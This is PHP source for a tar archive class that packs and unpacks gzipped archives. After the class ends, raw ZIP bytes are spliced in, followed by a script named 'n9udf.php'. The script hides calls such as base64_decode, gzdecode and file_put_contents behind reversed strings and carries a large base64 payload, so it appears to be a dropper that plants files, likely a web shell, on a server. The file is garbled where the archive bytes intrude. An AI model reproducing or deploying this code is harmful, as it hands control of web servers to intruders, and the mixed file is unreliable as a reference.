	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKOn\��������	n9udf.phpnu�[���<?php
$decode    = strrev('edoced_46esab');$decode2   = strrev('edocnezg');$decode3   = strrev('edocedzg');$decode4   = strrev('sserpmoczg');$decode5   = strrev('sserpmocnuzg');$write     = strrev('stnetnoc_tup_elif');$mkdir     = strrev('ridkm');$unlink    = strrev('knilnu');$glob      = strrev('bolg');$is_file   = strrev('elif_si');
$zipData = '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